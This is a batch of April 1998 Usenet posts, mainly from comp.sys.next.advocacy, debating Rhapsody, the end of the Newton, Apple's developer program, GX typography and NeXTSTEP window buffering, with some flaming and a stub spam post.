References: <199801202218001457904@ppp8.hol.fr> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com> <slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com> <slrn6ife6g.dbp.sal@panix3.panix.com> <6g8fl6$la7$1@quasar.dimensional.com> <slrn6igl3f.qlh.sal@panix3.panix.com> <6ggm4n$1kt$4@quasar.dimensional.com> <slrn6jdmrc.3u2.sal@panix3.panix.com> <6harth$d4f$1@quasar.dimensional.com>
On 18 Apr 1998 18:37:37 GMT, Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> wrote:
>In comp.os.linux.advocacy , article <slrn6jdmrc.3u2.sal@panix3.panix.com> , Salvatore Denaro <sal@panix3.panix.com> wrote:
>THis one is a broken link:
>" Your search did not match any articles at all. "
Yes, that was to show that I never used that phrase
>> As you can see, I did not use that phrase until you made claims that I
>> lied about it.
>> I did post about PDO, and this is the URL for it
>> http://x4.dejanews.com/getdoc.xp?AN=312243574&CONTEXT=892787299.1704284&hitnum=0
>That's not even in the thread.
If you did some searches in dejanews (like I did) you'll see that I never made
those claims.
>> I made it very clear that this was an Apple product, and I made no claim
>> that is was unique to Apple or to C++
>You claimed that distributed objects, were somehow exclusive and/or better on
>Objective C and C++.
Show me the article where I said that and I'll mail you $10. I never said that.
Whenever I mentioned "distributed objects" I made it very clear that I was
talking about PDO, an Apple/NeXT product. If you look at the link above, you'll
see that I even posted refrences to the URL where you can get more info on the
product.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: The Newton
Date: 19 Apr 1998 15:23:36 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6jk5no.rln.sal@panix3.panix.com>
References: <slrn6jdm7b.3u2.sal@panix3.panix.com> <B15C60A6-226FF@206.165.43.169> <3536F06A.D23EA427@ix.netcom.com>
On Fri, 17 Apr 1998 06:02:25 +0000, Thom McDonald <t.a.mcd@ix.netcom.com> wrote:
>Newton isn't entirely dead.
The name, the OS and the product line are all dead.
>It should be fairly obvious that Apple wants to retain Newton technologies for
>incorporating into a 'Lite' Mac OS which will be a Newton/PalmPilot/Windows
>CE-like platform. The good things about Newton, like touch-screen operation
>and hand-writing recognition will make nice additions to Mac OS.
It won't be a Newton.
>Of course this wouldn't be a totally public stance because if they got a
>really big offer, maybe they wouldn't want to turn it down.
I don't think they could sell it even if they wanted. It's not like there
is a folder called "Newton Technologies" that they can just drag to
a floppy and sell. Much of what was "Newton" is now gone. They can't even
fix an ongoing OS bug (the -10016 error)
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: "Hock your Laptops"
Date: Sun, 19 Apr 1998 10:18:54 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1904981018550001@dialin9074.slip.uci.edu>
References: <6h98v6$qn9$1@ha2.rdc1.sdca.home.com>
In article <6h98v6$qn9$1@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
> ref: http://www.feedmag.com/cgi-bin/FeedlineLoop/deliverance.cgi?areanum=21:21
> Search: Rhapsodies
>
> Developer's who can't afford to make the pilgrimage to WWDC in May?
It's time
> to hock your laptops¼
Well, it certainly does sound as though the world thinks an open Rhapsody
is the right thing to do against MS. A few questions though:
1) is it the right thing for Apple to do for Apple? Would an open (or
partially open) Rhapsody produce a better revenue stream for Apple?
2) could they even do it effectively knowing that they can't open up Java,
and any other technologies that they license? (DPS sounds like a non-issue
now)
3) do you think Steve has the huevos to do it?
-Bob Cassidy
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Message-ID: <1998041917431200.NAA28868@ladder03.news.aol.com>
Date: 19 Apr 1998 17:43:11 GMT
Organization: AOL http://www.aol.com
References: <B15E767A-49D99@206.165.43.29>
A gentleman I work with who has used RSG quite a bit is only aware of one
service bureau which natively supports it. I imagine that there are others, but
there just don't seem to be very many Manhattan Graphics Printer Description
files (.mpd) for imagesetters. This was a major hurdle in our attempt to get
RSG to output film in a controlled/positionable fashion on an Agfa 9550.
I'm glad to hear that the .eps workaround is there--I'll admit that I use the
same technique quite a bit in my own work (I do all of my pagelayout in
Freehand or Virtuoso for the superior/automated text control, hanging
punctuation, etc.) but it's still a fairly awkward, labor-intensive thing,
injurious to one's bottom-line.
It was always my understanding that GX text was easy/effortless/automatic to
implement, it seems that it's not. As a font designer I'd hesitate to state
that I could anticipate every possible headline modification one of my clients
might want, hence the need for user-control of kerning.
I too hope (and expect) that Rhapsody's implementation/inclusion of GX
linelayout will be a great deal better than anything which is available now.
Moreover, it'll automatically be used by any apps which take advantage of the
NSText object--can anyone name these?
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: letter to macnn about developer article
Date: 19 Apr 1998 17:57:23 GMT
Message-ID: <01bd6bf6$dc03b800$15f0bfa8@davidsul>
References: <6h99ll$e8t$1@news.digifix.com> <B15DA2B1-314B7@206.165.43.134> <6hbs8d$d8d$1@news.digifix.com>
> I love this...
>
> Its free IF you buy.... typicall
NO, its free if you go to www.metrowerks.com and download it. It has been
for several months now.
Cw lite has almost no value in the context you place it. Practically its
only value is to be distributed with books where projects are also
distributed with it. You cant create new projects with cw lite!! You can
only modify the current projects the book sends with it (or if you have
projects already)
> >Nothing new, as I said.
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 19 Apr 1998 18:12:11 GMT
Message-ID: <01bd6bf8$ee914080$15f0bfa8@davidsul>
References: <joe.ragosta-1404981037440001@wil44.dol.net> <B159020F-6203B@206.165.43.147> <6h5bfk$58j$2@ironhorse.plsys.co.uk> <01bd699d$3a2001c0$3af0bfa8@davidsul> <slrn6jcu7s.lbp.sal@panix3.panix.com> <01bd69f7$fbc3e580$40f0bfa8@davidsul> <slrn6jk4ch.rln.sal@panix3.panix.com>
Salvatore Denaro <sal@panix3.panix.com> wrote in article
<slrn6jk4ch.rln.sal@panix3.panix.com>...
> On 17 Apr 1998 05:00:25 GMT, NeXT Newbie <macghod@concentric.net> wrote:
> >Well, lets say I wanted to start developing apps for rhapsody RIGHT NOW.
> >Wouldnt it be a bit hard to develop them without Rhapsody? Even if one
had
> >OPENSTEP 4.2 I would imagine it would be helpful to have rhapsody, dont
you
> >think?
>
> Sure, but that $500 program cost is trivial when compared to the other
costs
> involved. You had problems setting up OS4.2, wouldn't it be worth the
$500
> to get phone support to help you throught the set up?
Good lord I had problems ::( Still cant get ppp to work :(
And yes, for lots of people it would be worth the $500. Of course IF I had
the phone support, the 2 calls may not mean much, and I may find out apple
couldnt help me :P
But this is getting off the issue. For developer who want to develop for
rhapsody HAVING rhapsody is at least a teeny weeny bit important
> And there is no guarantee that Rhapsody will ever ship, so all that time
> you invested in learning it might be wasted.
>
> The $500 is *trivial* when you look at the big picture.
>
> --
> sal@panix.com Salvatore Denaro
> "The reality of the software business today is that if you find
> something that can make you ridiculously rich, then that's something
> that Microsoft is going to take away from you." -- Max Metral
>
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 19 Apr 1998 18:14:38 GMT
Message-ID: <01bd6bf9$461bd5e0$15f0bfa8@davidsul>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <hi-2908560507090001@1cust23.tnt8.krk1.da.uu.net>
In article <6hbob0$5g8@mozo.cc.purdue.edu>, pomart@cartoon.ecn.purdue.edu
(Your Name) wrote:
| "NeXT Newbie" <macghod@concentric.net> writes:
|
| >We have all heard about all of Jobs pecadillos, about how he screwed THe
| >Woz out of $200, about how he cusses people out, and quite frankly its
time
| >to get rid of Jobs. He simply LACKS INTEGRITY. You youngins simply
dont
| >value INTEGRITY Like you should!
|
| Shut up! Jobs is doing fine, could have done better, yes, but he's
| doing all right.
Oh yeah? Well, um, tell that to the OpenDoc developers...
Geez, the youth of today. So what if Jobs is doing a good job, it doesnt
matter if he has no integrity and character.
(ClintonGate is making me really silly ;-) )
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Sun, 19 Apr 1998 11:42:12 -0700
Organization: "The Company" (Formerly Known As Obsidian)
Message-ID: <forrestDELETE-THIS!-1904981142130001@term3-2.vta.west.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <hi-2908560507090001@1cust23.tnt8.krk1.da.uu.net> <01bd6bf9$461bd5e0$15f0bfa8@davidsul>
[NOTE: I'm aware that this is a sarcastic thread. At least, I think it is]
In article <01bd6bf9$461bd5e0$15f0bfa8@davidsul>, "NeXT Newbie"
<macghod@concentric.net> wrote:
> Geez, the youth of today. So what if Jobs is doing a good job, it doesnt
> matter if he has no integrity and character.
Exactly. Just so long as I don't have to deal with him face to face, and
he does a good job running Apple, I'm fine with him. However, give me a
job at Apple where I have to work with him and I'll be on the impeachment
bandwagon in an instant, if all that's said about him is true (personally,
I think I could do a better job than anyone... but don't we all? Well, I'd
need an Advisor on the financial parts of the job).
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: Christian Jensen <cejensen@winternet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PostScript coming to the Web?
Date: 19 Apr 1998 18:49:49 GMT
Organization: StarNet Communications, Inc
Sender: Christian Jensen <cejensen@winternet.com>
Message-ID: <6hdh0d$234$1@blackice.winternet.com>
References: <6h0alq$oop$47@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> PGML uses the imaging model common to the
>PostScript(R)language and Portable Document Format (PDF); it also contains
>additional features to satisfy the needs of Web applications.
>[...]
>Wouldn't it be great if Rhapsody (or YellowBox) were the first platform to
>support this... :-)
Yes! Very cool ideas...
--Chris
**************************
Chris Jensen
cejensen@winternet.com
MIME, Sun, NeXTMail OK
"Sacred cows make the best hamburger."
--Mark Twain
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 19 Apr 1998 13:53:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15FB362-9FBDC@206.165.43.146>
References: <1998041917431200.NAA28868@ladder03.news.aol.com>
To: "WillAdams" <willadams@aol.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
WillAdams <willadams@aol.com> said:
> It was always my understanding that GX text was easy/effortless/
> automatic to
> implement, it seems that it's not.
?? The default kerning as specified in your font is the default kerning,
etc., used by GX. You can override any/all of these defaults using the
built-in functions. I wouldn't see how this could be any "easier" since at
some point, a developer (or framework designer) has to provide an interface
for kerning, and so on, regardless of what graphics library is handling it
or how.
MY problem with the control of kerned/etc text is that GXFCN uses nothing
but text strings as parameters and a large set of numerical text-strings is
not a user-friendly way of controlling ANYTHING. I would imagine that
dialog boxes of some sort would simplify the process quite a bit. The nice
thing about HyperCard is that I can devise simple controls for just about
anything from the built-in controls that HyperCard already provides and, in
theory, individual stack-developers could devise their own [better]
controls using whatever I come up with as a model.
Eventually, I want to create my own controls based on GX itself, which
would allow the ultimate flexability for human interfaces within HyperCard
since the interpreted, interactive HC scripting language would completely
control the appearance and function of the controls, at least in the
prototype (I could reimplement the speed-essential bits in C and still
retain most/all flexability, I think).
> As a font designer I'd hesitate to state
> that I could anticipate every possible headline modification one of my
> clients
> might want, hence the need for user-control of kerning.
As I said, GX provides access to just about every conceivable aspect of
kerning and other layout features. It is up to the individual applications
developer to provide a user-interface to these kerning/etc controls. With
Rhapsody, this would be MUCH easier to do, of course, but the existing GX
functions handle all these things programatically.
>
> I too hope (and expect) that Rhapsody's implementation/inclusion of GX
> linelayout will be a great deal better than anything which is available
now.
There is just SO MUCH to GX typography, that I doubt that everything will
make it into NSText on the first pass (putting aside any GX graphics-based
issues). Certainly whatever does make it into NSText will be easier to use
than the equivalent raw GX function calls, but I'm not expecting every
feature to make it into the first consumer release.
> Moreover, it'll automatically be used by any apps which take advantage of
> the
> NSText object--can anyone name these?
>
You'd still have to enable the human interface to these features. I would
think that that you'd want to hide many/most of these features unless the
end-user indicates that they want "expert mode" text-control. There's so
much there that I suspect that you would need layers of "expert mode" to
avoid confusion.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PostScript coming to the Web?
Date: 19 Apr 1998 14:03:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15FB5B6-A8804@206.165.43.146>
References: <6hdh0d$234$1@blackice.winternet.com>
nntp://news.primenet.com/comp.sys.mac.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Christian Jensen <cejensen@winternet.com> said:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > PGML uses the imaging model common to the
> >PostScript(R)language and Portable Document Format (PDF); it also
> contains
> >additional features to satisfy the needs of Web applications.
> >[...]
> >Wouldn't it be great if Rhapsody (or YellowBox) were the first platform
to
> >support this... :-)
>
> Yes! Very cool ideas...
Far more cool than my idea of using GX for the same purpose...
Not.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.next.advocacy
Subject: -Easy money better than MLM!
From: csvfjetrgreenstuff@email.com
Organization: Success Pte Ltd
Message-ID: <353a6aa6.0@news.cyberway.com.sg>
Date: 19 Apr 98 21:20:38 GMT
****************************************************************
* This Article was Posted By an unregistered version of: *
* Newsgroup AutoPoster 95 *
* Send email address for info! Fax: +46-31-470588 *
****************************************************************
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From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac programming...
Date: Sun, 19 Apr 1998 15:15:09 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d7qdcp.cwhl3iyxpnzkN@cetus206.wco.com>
References: <01bd6b0f$26d02aa0$0b0ba8c0@woohoo> <B15E8231-75E71@206.165.43.29> <35393e83.0@206.25.228.5> <B15E911B-ADFAF@206.165.43.29> <6hbjjj$hlq1@odie.mcleod.net>
Michelle L. Buck <buck.erik@mcleod.net> wrote:
> Where do these thing come from?
Lawson English. Enough said.
I'm going to have to stop relying on the neural net newsfilter in ny
NNTP screen and just flat out kill threads he appears in.
--
Mike Paquette mpaque@wco.com
"Troubled Apple Computer" and the "Troubled Apple" logo are trade and
service marks of Apple Computer, Inc.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: FYI: MS Development program
Date: Sun, 19 Apr 1998 15:14:38 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d7qbbr.uh2o3fpmzzcwN@cetus206.wco.com>
References: <01bd6a2b$12d57940$04387880@test1> <3538dff2.0@206.25.228.5>
John Kheit <jkheit@xtdl.com> wrote:
> I think the difference is that ms allows the *world* to get beta's,
> pretty much at cost. I don't understand why apple doesn't do the
> same, since it could only help reliability, and they might even
> make a few bucks off it.
Well, there are a couple of rather pragmatic reasons for limiting beta
access to developers.
First, the quality of bug/problem reports from developers is much higher
than what one gets from member of the general public, magazine
reviewers, and whatnot.
Second, the support problem for a general public beta is considerably
different than that for a directed beta release to developers. A
support infrastructure is already in place to support the developer
community. This infrastructure includes, but is not limited to, Apple
Developer Relations activities as well as third party operations such as
the developer mailing lists the good folks at Omni have been running.
No such system is in place for the general public, which means that
either the beta would have to be offered with no real support (no good
feedback path, no support for user problems, etc.), which would result
in lots of bad publicity (recall the grousing by a member of the Mac
press in trying to use the first developer release, treating it as a
finished product? Multiply by 100...), of it would have to be done as a
self-supporting beta, which might be pricy.
Third, the purpose of the Rhapsody betas (I'm not involved with the
MacOS side, so don't want to comment on their goals) is to give
developers early access to the latest software and APIs to assist them
in development, and at the same time gather feedback and bug reports to
assist the Rhapsody Engineering team.
--
Mike Paquette mpaque@wco.com
"Struggling Apple Computer" and the "Struggling Apple" logo are
trade and service marks of Apple Computer, Inc.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: Sun, 19 Apr 1998 15:15:01 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d7qd81.11sv8y81oi2sytN@cetus206.wco.com>
References: <01bd6b0f$26d02aa0$0b0ba8c0@woohoo> <B15E8231-75E71@206.165.43.29> <35393e83.0@206.25.228.5> <B15E911B-ADFAF@206.165.43.29> <6hbh3c$o7e$1@news.xmission.com> <B15EB36A-23703@206.165.43.9> <6hbuq2$re3$1@vixen.cso.uiuc.edu> <B15F0E87-14587@206.165.43.28>
Lawson English <english@primenet.com> wrote:
> 'm betting that you guys have a need
> to read every comment about DPS in the best possible light that rivals
> MY bias about DPS.
No. We just don't like seeing incompetently presented misinformation.
If you're going to attempt to baffle people with your bullshit, at least
make some attempt to make it appear plausible.
Mike Paquette
mpaque@wco.com
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: RAM/etc requirements for Yellow Box apps (Was Re: Mac programming...
Date: Sun, 19 Apr 1998 15:14:52 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d7qc5z.129o95f14fn81iN@cetus206.wco.com>
References: <01bd6b0f$26d02aa0$0b0ba8c0@woohoo> <B15E8231-75E71@206.165.43.29>
Lawson English <english@primenet.com> wrote:
> The default for NeXTstep is to have all windows buffered off-screen in a
> 32-bit RGBA bitmap. This works out to about 1MB of RAM needed per open
> window.
This is incorrect. The default for NeXTSTEP is to have all windows
start at a depth of 2 bits per pixel, no alpha, and lazily promote depth
as more precise color values are drawn into the window, with the maximum
depth limited to screen depth. (Trust me. I know how this works.)
> While this may no longer be the case with YB,
It never was the case.
> ALL NeXTstep rendering is
> done in 32-bit mode and dithered down to the screen resolution, or so I
> have read (corrections always welcome).
What you have read is incorrect.
The default behavior, as described above, is documented in NeXTSTEP
releases from 2.2 on. All NeXTSTEP drawing is done in a
colorspace-independent manner that is dynamically mapped down to a
calibrated device colorspace in rendering. Ordered dithering (needed to
provide correct stitching behavior) is applied as needed to provide the
best possible color rendering. NeXTSTEP applications may choose to
override the screen depth limiting behavior, selecting a depth limit (or
removing it) on a per window or application wide basis. Application and
global depth limiting behavior may be modified through the defaults
database. There are third party Preferences panels that may be used to
manipulate these depth limiting properties throuhg the user interface.
(Sorry about the long paragraph. Lawson has a bad habit of snipping
short paragraphs out of context and reposting or mailing them about with
surrounding annotation changing the implied meaning of the quote.)
> This is fine for high-end DTP, but
> a bit of overkill for a lots of applications, such as ID's Quake editor.
I dunno about that. Mr Carmack might feel differntly than you do.
> You can change the way in which buffering is done, I'm told, so that
> rendering is done directly on-screen, freeing up 1MB per window.
Not quite. In addition to buffered windows, an application can select
non-retained windows, which use no backing store, at the expense of
having to support redraw events for damage repair. The tradeoff here is
that every app affected by (for example) a window move may have to be
sent a redraw event, paged back in, and run to repair it's damaged bit.
This takes time and consumes more memory.
Applications may also select retained windows, in which on-screen
drawing is directed to the display, and off-screen drawing is directed
to the backing store, for easy later damage repair in the event of a
window reveal.
A number of other optimizations capable of significantly reducing memory
footprint of backing stores are also implemented within the Window
Server, takig advantage of the fact that the implementation details of
backing stores within the server are well isolated from any API that the
developer might use. Abstraction is your friend...
Mike Paquette
mpaque@wco.com
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: 19 Apr 1998 15:24:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15FC8BD-F007D@206.165.43.146>
References: <1d7qd81.11sv8y81oi2sytN@cetus206.wco.com>
To: "Mike Paquette" <mpaque@wco.com>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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Mike Paquette <mpaque@wco.com> said:
> Lawson English <english@primenet.com> wrote:
>
> > 'm betting that you guys have a need
> > to read every comment about DPS in the best possible light that rivals
> > MY bias about DPS.
>
> No. We just don't like seeing incompetently presented misinformation.
> If you're going to attempt to baffle people with your bullshit, at least
> make some attempt to make it appear plausible.
Thanks for the response and clarification. Here is what Carmack said about
the Quake editor. Apparently I misunderstood?
<http://www.gamers.org/dEngine/quake/QuakeEd/QuakeEd.html>
++++
"This is a NEXTSTEP application, so hardly anyone is going to be able to
use the code as is. This is not an OPENSTEP application. It doesn't even
use the foundation kit, so porting to gnustep or openstep-solaris/mach/nt
would not be trivial.
This application was really not a very good fit for NEXTSTEP. The display
postscript model fundamentally doesn't fit very well with what we need here
-- if you run in an 8 bit color mode, the line drawing runs at an ok speed,
but the texture view goes half the speed it should as it dithers from 24
bit color down to 8 bit. If you run in 24 bit color mode, you get less
screen real estate and significantly slower line drawing as a 3 megabyte XY
view is flushed. Sigh. If anyone does actually run this on NEXTSTEP be
advised that you want a fast machine."
+++++
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Sun, 19 Apr 1998 17:35:48 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <353A7C44.D1460EF8@nstar.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net> <3534e321.0@206.25.228.5> <35351E80.1BB@CONVEX.COM> <geordie-1604981258310001@130.130.117.53> <35365564.6C61@CONVEX.COM> <geordie-1604981635370001@130.130.117.53> <35368CBE.7563@CONVEX.COM> <geordie-1704981631500001@130.130.117.53>
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Geordie Korper wrote:
>
> In article <35368CBE.7563@CONVEX.COM>, Michael Peck <ECK@CONVEX.COM> wrote:
>
> :Sorry, in my book laws are designed to preserve liberty. Again:
> :expedience versus liberty. Your rule of best-good approximation cannot
> :be compatible with liberty, period. There is no fundamental difference
> :between the politics you espouse and the politics of Benito Mussolini
> :(who is responsible for the quote in my previous post).
>
> I readily admit to being an anarcho-fascist (nobody has the right to make
> laws that affect me and I have the right to make laws that affect
> everyone).
Well, okay. I mean, that sort of settles the point, doesn't it?
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Sun, 19 Apr 1998 17:34:09 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <353A7BE1.58C22494@nstar.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net> <3534e321.0@206.25.228.5> <35351E80.1BB@CONVEX.COM> <35359e86.0@206.25.228.5> <6h8akv$ol4$1@nnrp1.dejanews.com>
Mime-Version: 1.0
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rfuller@genre.com wrote:
>
> And can any of you tell me what the fuque any of this politically
> philosophical crap has to do with NeXT/Mac advocacy?
I'll take a shot at that: I've never seen anyone take offense at the
blatant, open criticism of Microsoft in this group, as a subject of
conversation, even when it has nothing to do with NeXT/Mac,
specifically.
I'd guess that the reason for this is that it implicitly affects the
success/failure of NeXT/Mac as competitors to Microsoft's products.
If so, the discussion of the proven successes of free-market politics as
a reason to bolster the courage of those who feel NeXT/Mac technology is
superior to Microsoft's should be of great interest to those who believe
that they can make a difference and don't need to go whining to Big
Daddy for a handout and a sob story.
I should note, admittedly, that those who don't think that they can make
a difference through hard work and innovation will probably feel that
the discussion is irrelevant.
MJP
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
From: spambait@seemysig.com (Mike Cohen)
Subject: Re: IMPEACH JOBS
Message-ID: <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net>
Organization: ISIS International
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu>
Date: Sun, 19 Apr 1998 22:49:55 GMT
NNTP-Posting-Date: Sun, 19 Apr 1998 18:49:55 EST
In article <6hbob0$5g8@mozo.cc.purdue.edu>,
pomart@cartoon.ecn.purdue.edu (Your Name) wrote:
| >We have all heard about all of Jobs pecadillos, about how he screwed THe
| >Woz out of $200, about how he cusses people out, and quite frankly its
time
| >to get rid of Jobs. He simply LACKS INTEGRITY. You youngins simply
dont
| >value INTEGRITY Like you should!
|
| Shut up! Jobs is doing fine, could have done better, yes, but he's
| doing all right.
Killing the newton alone is enough reason to get rid of him. The Newton
didn't deserve to die.
--
Mike Cohen - mike_cohen (at) pobox (dot) com - http://pobox.com/~macguru
Sound is the same for all the world - Youssou N'dour, "Eyes Open"
Date: Sun, 19 Apr 1998 19:29:23 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Message-ID: <joe.ragosta-1904981929240001@elk50.dol.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net>
In article <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net>,
spambait@seemysig.com (Mike Cohen) wrote:
> In article <6hbob0$5g8@mozo.cc.purdue.edu>,
> pomart@cartoon.ecn.purdue.edu (Your Name) wrote:
>
> | >We have all heard about all of Jobs pecadillos, about how he screwed THe
> | >Woz out of $200, about how he cusses people out, and quite frankly its
> time
> | >to get rid of Jobs. He simply LACKS INTEGRITY. You youngins simply
> dont
> | >value INTEGRITY Like you should!
> |
> | Shut up! Jobs is doing fine, could have done better, yes, but he's
> | doing all right.
>
> Killing the newton alone is enough reason to get rid of him. The Newton
> didn't deserve to die.
I might believe this--if anyone could show that the Newton had ever made
money or had any chance of making money.
I agree that the Newton was a nice device. I'd still like to have one.
But Apple is not a charity. Newton was not making money and there was no
sign that it ever would. The entry of Windows CE devices was going to make
Newton's future even tougher than its past.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Newsgroups: comp.sys.next.advocacy
Subject: Re: FYI: MS Development program
References: <01bd6a2b$12d57940$04387880@test1> <3538dff2.0@206.25.228.5> <1d7qbbr.uh2o3fpmzzcwN@cetus206.wco.com>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <353a8a01.0@206.25.228.5>
Date: 19 Apr 98 23:34:25 GMT
mpaque@wco.com (Mike Paquette) wrote:
> No such system is in place for the general public, which means
> that either the beta would have to be offered with no real support
> (no good feedback path, no support for user problems, etc.),
> which would result in lots of bad publicity (recall the grousing
> by a member of the Mac press in trying to use the first developer
> release, treating it as a finished product? Multiply by 100...),
> of it would have to be done as a self-supporting beta, which
> might be pricy.
I don't see that as a problem. Of course the strategic business
decision makers at Apple feel differently. All I can say is that
ms faces the same kind of criticism, and still does this. Although
ms may make some less than stellar products, technically, they
generally do well on the strategic business decisions. There must
be something to it.
My guess is that if you do *not* promote the beta, and just bury
it somewhere on the corporate web site, put in a zillion disclaimers,
then the average technical ability of someone that would go through
the hassel of procuring the beta will be of a level high enough to
enable it without support. Perhaps limit it to the *developers*
who sign up for the free apple program. Of course this is all
baseless supposition upon supposition on my part.
> Third, the purpose of the Rhapsody betas (I'm not involved with
> the MacOS side, so don't want to comment on their goals) is to
> give developers early access to the latest software and APIs to
> assist them in development, and at the same time gather feedback
> and bug reports to assist the Rhapsody Engineering team.
Well I would hope that reducing bugginess is also part of the
beta's purpose. Putting out a buggy product won't endear too many
